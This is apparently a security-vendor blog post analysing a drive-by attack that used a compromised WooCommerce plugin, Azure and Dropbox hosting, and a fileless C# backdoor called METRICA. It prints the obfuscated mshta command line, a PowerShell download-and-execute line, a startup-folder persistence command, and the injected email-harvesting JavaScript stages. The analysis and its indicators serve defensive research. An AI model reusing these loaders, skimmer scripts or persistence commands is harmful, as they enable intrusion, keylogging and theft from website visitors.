Concerned about recent PAN-OS and other firewall/VPN CVEs? Take advantage of Zscaler’s special offer today

Zscaler Blog

Get the latest Zscaler blog updates in your inbox

Security Research

Low-volume multi-stage attack leveraging AzureEdge and Shopify CDNs

March 23, 2021 - 19 min read


In Feb 2021, Threatlabz observed a few instances of a low-volume multi-stage web attack in Zscaler cloud.

This web attack leveraged legitimate servers of Microsoft (, Dropbox and content delivery network of Shopify ( to host the malicious files. The attack chain started from a Wordpress site with a compromised plugin.

When the victim browsed to the compromised e-commerce Wordpress site, the injected JavaScript in the WooCommerce plugin kick-started the infection chain.

The infection chain on the endpoint device consists of multiple stages involving the usage of MSHTA, PowerShell, C# backdoor which is also executed inline by PowerShell code. Based on our research, this threat actor is not yet documented anywhere and we have not attributed this to any known threat actor yet.

We have given the name - METRICA to the new C# backdoor discovered in this research.

In this blog, we describe technical details of the entire infection chain end-to-end.


Attack flow

Figure 1 shows the end-to-end attack flow which leads to the download of the final backdoor, METRICA.



Figure 1: Attack flow

As shown in the above attack flow, in one of the observed instances of attacks, the user searched for the string “steelcase adjustable arm” on the Google search engine. From the search results, user navigated to the URL: officechairatwork[.]com/product/steelcase-think-chair-3d-knit-back-4-way-adjustable-arms

Figure 2 shows officechairatwork[.]com, a legitimate Wordpress-based e-commerce website.



Figure 2: e-Commerce Wordpress site.

It uses the WooCommerce order tracking Wordpress plugin. One of the JavaScripts for this plugin was injected with malicious code. Interestingly, the injected code uses base64 encoding to prevent any suspicion.

URL of injected JavaScript:  


Figure 3 shows the injected code.


Figure 3: JavaScript code injected in the WooCommerce Wordpress plugin

This injected code dynamically creates a script element using HTML DOM which adds an external JavaScript reference.

"script.src = 'https://metrica2.azureedge[.]net/tracking'"

This results in the website loading the malicious code from above URL.

It ultimately redirects the user to the legitimate file-hosting site, Dropbox to download a ZIP archive which contains the malicious LNK file.

URL: www.dropbox[.]com/s/3mrfasci8ibhms9/


Technical analysis

First we will look at the malicious JavaScript code which was injected in the compromised Wordpress plugin on the website and how it leverages multiple stages to redirect the user to the final download page.


Injected JavaScript analysis

Note: Please refer the Appendix section at the end of the blog for the complete JavaScript code snippets.

Stage-1 JavaScript

URL: metrica2.azureedge[.]net/tracking

The first stage JavaScript performs a few checks to determine the next stage JavaScript to be loaded. It contains references to four more JavaScripts which are explained in detail in this section.

Stage 1 JavaScript code defines 3 functions:

1. load_path: Creates a dynamic script element in the DOM 
2. getMails: Performs regex to check if the given string input is in the standard email ID format.
3. valid: It scans the page ‘input’ elements to retrieve the logged in user email ID.

Execution of the JavaScript code starts by retrieving two items from the browser’s sessionStorage with names - ‘startDate’ and ‘startMail’.

It uses the above fetched values to perform following actions:

1. Checks if startDate is valid and if yes, then calculates the difference between current time and saved time(startDate). If the difference is less than 100 seconds then it calls the load_path function which in turn loads the next stage JavaScript from the path “”

2. If startDate is not valid then the function named valid is called in 500 milliseconds intervals to retrieve the logged in user email ID. When the email ID is retrieved successfully, it calls the load_path function which in turn loads the next stage JavaScript from the path “”

Stage-2 JavaScript

URL 1: metrica2.azureedge[.]net/lockpage

The second stage JavaScript performs two operations:

1. Prepends a ‘div’ element with id ”slashpage” to the website’s main page and inserts an empty ‘iframe’ element with name “splashpage-iframe” to it.
2. Creates a dynamic script element in the DOM which loads the next stage JavaScript from the path “”

URL 2: metrica2.azureedge[.]net/slashpage

Performs the same operations as /lockpage. In addition to that, it retrieves the startDate item from sessionStorage and if not found, sets it to the current date. 

Stage-3 JavaScript

URL: metrica2.azureedge[.]net/PatternSite

The third stage JavaScript has configurable parameters that control the execution behaviour as well as frequency of execution of the contained JavaScript code.

This stage of JavaScript is responsible for displaying or hiding a banner as a social engineering technique to lure the victim to download a malicious ZIP file.

The banner is displayed by configuring the ‘div’ and ‘iframe’ elements created by the second stage JavaScript. The source URL for the banner is “”

Figure 4 shows the banner displayed to the user.


Figure 4: Banner displayed to the user

When the user clicks the Continue button, it initiates the ZIP file download request in the background. As soon as the download request is sent, the banner content is also changed as shown in Figure 5.


Figure 5: Changed banner content pointing to open the downloaded file

The downloaded ZIP file contains a LNK file inside which is executed by the user.

For the purpose of technical analysis, we will look at the LNK file with MD5 hash: 2d0f946bac9b565b15cb739473bd4b20

This LNK was archived inside a ZIP file which was hosted on the Dropbox URL: www.dropbox[.]com/s/3mrfasci8ibhms9/

The LNK file on execution used the following command line to fetch malicious VBScript code from attacker configured server on

Command line: %WINDIR%\System32\cmd.exe /c "set a=start ms&&set b=hta ht&&set c=tps://&&set d=web-google.azur&&set set f=%a%%b%%c%%d%%v%&&call %f%"&&exit

The above command line will leverage MSHTA to download the malicious VBScript from the URL: web-google.azureedge[.]net/doc-YUSKQOPZUFD

The downloaded VBScript in turn will connect to the URL:  string.azureedge[.]net/doc49672.jpeg/ps1/9876/ to download the next stage PowerShell code.

The downloaded PowerShell code has C# code embedded inside it, which will be executed inline by the PowerShell code. This C# code is a backdoor which we have named as “METRICA”

METRICA backdoor analysis

The METRICA backdoor is executed inline using wrapped PowerShell code to make the backdoor execution fileless.

Note: PowerShell natively supports inline C# execution. Using the following snippet of code, it is possible to perform inline code execution of C#.

Add-Type -ReferencedAssemblies {Add any assembly references here}  -TypeDefinition {Add C# code here} -Language CSharp;

Figure 6 below shows the PowerShell code calling the C# code


Figure 6: PowerShell code calling C# code

In order to avoid static detection and hinder the analysis, the METRICA backdoor is generated on the fly using a server-side generator (in the case of hosting service -

Due to this, each request to download the backdoor results in a backdoor with different size and different static string obfuscation.

In case the backdoor is hosted on, it is not generated on-the-fly but seems to be regularly updated by the attacker.

NOTE: This is likely because the hostings are directly owned by the attacker.


Code analysis

The METRICA backdoor execution starts by calling its main function from the wrapper PowerShell code.The main function takes the below 3 input parameters.

●    A domain name
●    Key which is used for encryption/decryption of data
●    Default value to use for delay between the network requests

In the analysed sample following values were passed which can also be seen in Figure 6 above:

●    Domain Name: "https://global.asazure[.]"
●    Key: "ENoztOORXAkUuWOkSdzLaRRL"
●    Default Delay Value: "9567"

Note: Based on further analysis, we found that the ‘Key’ is configured per C2 server and is never sent as part of network communication.

Execution of the main function performs the below operations.

1. Registers the infected machine to the C2 server. This is the bot registration stage.
2. Creates a thread to perform keylogging and capture foreground/active window text.
3. Starts the C2 communication and executes the command received by calling the required function.

Figure 7 highlights the different operations performed by the main function


Figure 7: Different operations performed by main function


BOT registration

BOT registration request is sent to the C2 server with the below information from the infected system.

●    Generated BOT ID
●    Computer Name
●    User Domain
●    UserName

The information collected is formatted as shown below.

register {BOT ID} {ComputerName}{DomainName}\\{UserName}

For more details about the network traffic, please refer to the network communication section of the analysis.


Information collection and exfiltration

METRICA backdoor collects the following information from infected system

●    Keystrokes
●    Foreground/Active window text

To exfiltrate the logged information a Timer object is created which calls the log exfiltration function every 5 seconds. This is done to maintain the fileless execution since the keystrokes and window text information is stored in the memory and cleared as the information is exfiltrated.

The logged information is formatted as shown below.

userinput {Base64_encoded_logged_information}

Figure 8 highlights information logging and exfiltration operations


Figure 8: Information logging and exfiltration operations

More details about the network traffic are added in the Network Communication section of the analysis.


Network communication


METRICA backdoor performs all the network communication over HTTPs. All web requests are created using the domain name which is passed as the first parameter to the main function described earlier and a network path which is generated as a random string for every request.

Afterwards following header fields are initialized:

●    Method: “POST”
●    UserAgent: Initialized with OS Version string
●    Timeout: 10000
●    Host: Attacked controlled endpoint on the CDN
●    ProxyCredentials: Default Credentials

Request/Response Format

All the network requests/responses use the following format:
UUID: “Unique identifier for every exfiltration request/response pair”,
ID: “BOT ID of the infected machine”,
DATA: “Encrypted and Base64 encoded data”

BOT registration request

Like every other backdoor the first network request is of BOT registration. Data sent as part of the request is already described in the BOT registration section. No UUID is used in the registration request.

C2 Commands

The network request to fetch the C2 command is sent at regular intervals. The UUID and the DATA field are empty for all such network requests.

Based on the C2 response from the server different operations are performed. The METRICA backdoor checks if the UUID field in the response is set or not. If the UUID field is set, it decrypts the response data specified in the DATA field.The decrypted data then specifies the command to be executed. 

The table below describes the backdoor supported commands and corresponding action performed.



Action Performed


Updates the time delay between the network requests


Capture screenshot of all the connected screens and send to the C2 server


Stop fetching new commands from the C2 server

Raw PowerShell command

Execute the raw PowerShell command and send the output to the C2 server


1. delay
Updates the time delay between the network requests with the C2 server specified value. No network response is sent back.

2. screenshot
For all the available screens capture screenshot and send to the C2 server one at a time. To maintain the fileless execution the screenshot is saved in memory and sent to the C2 server.

3. exit
Sets a boolean variable which breaks the C2 communication loop. No network response is sent back.

4. Raw PowerShell command
Executes the raw PowerShell command and sends the result back to the C2 server. 

To execute the PowerShell command from C# code a Runspace is created. A Pipeline is opened to the created Runspace. The pipeline is then used to specify the PowerShell command to be executed and also configure the Runspace to send the output back to the C# code. The output is then sent to the C2 server.

Note: To read more about Runspace check this article.



Achieves persistence by leveraging PowerShell code to download a new LNK file from Dropbox and dropping it in the Startup directory. The PowerShell code is broken into two stages:

●    First stage PowerShell code is sent as a C2 command which downloads and executes the second stage PowerShell code from the specified remote location. 

●    The second stage PowerShell code downloads the new LNK and drops it in the Startup directory.

First stage PowerShell code sent as C2 command: IEX (New-Object Net.Webclient).downloadstring('')

Second stage PowerShell code for downloading new LNK and dropping it in the Startup directory:
$client = new-object System.Net.WebClient;$client.DownloadFile("","$env:APPDATA\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Startup.lnk");

Note: The reason for achieving persistence only by specifying the C2 command could be to avoid persistent infection in case the victim profile is not of any interest to the attacker. Further the entire attack chain is fileless except the initial ZIP download so it also helps lower the fingerprints in the infected system.

Zscaler Sandbox report

Figure 9 shows the Zscaler Cloud Sandbox successfully detonating and detecting this threat.




Figure 9: Zscaler Sandbox report

In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators at various levels.







Drive-by Compromise

Compromised plugin JavaScript file


User Execution: Malicious File

User opens the downloaded ZIP file and executes the contained LNK


Command and Scripting Interpreter

Executes malicious JavaScript and PowerShell code


Registry Run Keys / Startup Folder

Creates LNK file in the startup folder for persistence


Deobfuscate/Decode Files or Information

Strings and other data are obfuscated in the payloads


Signed Binary Proxy Execution

Uses mshta to execute the VBScript code



Obfuscated Files or Information: Software Packing

Payloads are packed in layers


System Information Discovery

Gathers system OS version info


System Owner/User Discovery

Gathers currently logged in Username


Screen Capture

Capture Screenshot of all the connected screens


Input Capture

Capture keystrokes and foreground window text


Data Encoding: Standard Encoding

Uses Base64 encoding for data exfiltration


Application Layer Protocol: Web Protocols

Uses https for C2 communication


Exfiltration Over C2 Channel

Data is exfiltrated using existing C2 channel


Indicators of compromise


// ZIP


ZIP File download links

Intermediate stage payload hosting

// MD5: 2d0f946bac9b565b15cb739473bd4b20

// MD5: 272edc017f01eef748429358b229519b

// Persistence LNK 

C2 domains

// POST method used for communication

JavaScript files


Banner hosting


Dropped Filenames and full paths

Terms And
Terms And Conditions.lnk
{APPDATA}\Microsoft\Windows\Start Menu\Programs\Startup\Startup.lnk

OSINT submissions




Intermediate stage payload hosting




//Stage-1 JavaScript

startDate = sessionStorage.getItem('startDate');
startMail = sessionStorage.getItem('startMail');
var metrica_path = '';
var metrica_path_lock = '';
var metrica_lock = '';
var metrica_slashpage = '';

function load_path(metrica, email){
    var metricasrc = document.createElement('script'); 
    metricasrc.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + metrica + '?q=' + encodeURIComponent(email); 

function getEmails(search_in) {
    array_mails = search_in.toString().match(/([a-zA-Z0-9._-]+@[a-zA-Z0-9._-]+\.[a-zA-Z0-9._-]+)/gi);
    if(array_mails !== null){
        return array_mails[0];
        return '';

if (startDate) {
    startDate = new Date(startDate);

if (startDate != null && Math.trunc((new Date() - startDate)/1000) < 100) {
    email = startMail;
    load_path(metrica_lock, email);

if (startDate == null){
    var is_email = 0;
    var forminput = document.querySelectorAll('input');
    function valid(){
        for(var i = 0; i < forminput.length; i++) {
            if (forminput[i].type=='email' || forminput[i].type=='text'){
                if (forminput[i] != document.activeElement) {
                var email = getEmails(forminput[i].value);
                    if(email != ''){
                        startMail = sessionStorage.getItem('startMail');
                        if (startMail) {
                            startMail = email;
                        } else {
                            startMail = email;
                            sessionStorage.setItem('startMail', startMail);
                        load_path(metrica_slashpage, email);

    var myVar = setInterval(valid, 500);

//Stage-2 JavaScript

startDate = sessionStorage.getItem('startDate');

if (startDate) {
  startDate = new Date(startDate);
} else {
  startDate = new Date();
  sessionStorage.setItem('startDate', startDate);

var formdiv = document.querySelector('body');
var pagediv = document.createElement('div'); = 'slashpage'; = 'position:absolute;z-index:100000;';
pagediv.innerHTML = '<iframe name="splashpage-iframe" src="about:blank" style="margin:0;border:0;padding:0;width:100%;height:100%" ></iframe><br />&nbsp;'
formdiv.insertBefore(pagediv, formdiv.firstChild);
var metricasslash = document.createElement('script'); 
metricasslash.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + metrica_path + '?q=' + encodeURIComponent(startMail); 

//Stage-3 JavaScript

var splashpage = {
    splashenabled: 1,
    splashpageurl: "//",
    enablefrequency: 0,
    displayfrequency: "2 days",
    cookiename: ["splashpagecookie", "path=/"],
    autohidetimer: 0,
    launch: false,
    browserdetectstr:(window.opera && window.getSelection) || (!window.opera && window.XMLHttpRequest),

    output: function(){
        this.splashpageref = document.getElementById("slashpage");
        this.splashiframeref = window.frames["splashpage-iframe"];
        this.standardbody = (document.compatMode == "CSS1Compat") ? document.documentElement : document.body;
        if(!/safari/i.test(navigator.userAgent)) = "hidden"; = 0; = 0; = "100%"; = "100%";
        this.moveuptimer = setInterval("window.scrollTo(0,0)", 50);

    closeit: function(){
        clearInterval(this.moveuptimer); = "none";
        this.splashiframeref.location.replace("about:blank"); = "auto";

    init: function(){
        if(this.enablefrequency == 1){
                if(this.getCookie(this.cookiename[0] + "_s") == null){
                    this.setCookie(this.cookiename[0] + "_s", "loaded");
                    this.launch = true;
            else if(/day/i.test(this.displayfrequency)){
                if(this.getCookie(this.cookiename[0]) == null || parseInt(this.getCookie(this.cookiename[0])) != parseInt(this.displayfrequency)){
                    this.setCookie(this.cookiename[0], parseInt(this.displayfrequency), parseInt(this.displayfrequency));
                    this.launch = true;
            } else this.launch = true; if(this.launch){
                if(parseInt(this.autohidetimer) > 0) setTimeout("splashpage.closeit()", parseInt(this.autohidetimer) * 1000);

    getCookie: function(Name){
        var re = new RegExp(Name + "=[^;]+", "i");
        if(document.cookie.match(re)) return document.cookie.match(re)[0].split("=")[1];
        return null;

    setCookie: function(name, value, days){
        var expireDate = new Date();
        if(typeof days != "undefined"){
            var expstring = expireDate.setDate(expireDate.getDate() + parseInt(days));
            document.cookie = name + "=" + value + "; expires=" + expireDate.toGMTString() + "; " + splashpage.cookiename[1];
        } else document.cookie = name + "=" + value + "; " + splashpage.cookiename[1];

if(splashpage.browserdetectstr && splashpage.splashenabled == 1) splashpage.init();

form submtited
Thank you for reading

Was this post useful?

dots pattern

Get the latest Zscaler blog updates in your inbox

By submitting the form, you are agreeing to our privacy policy.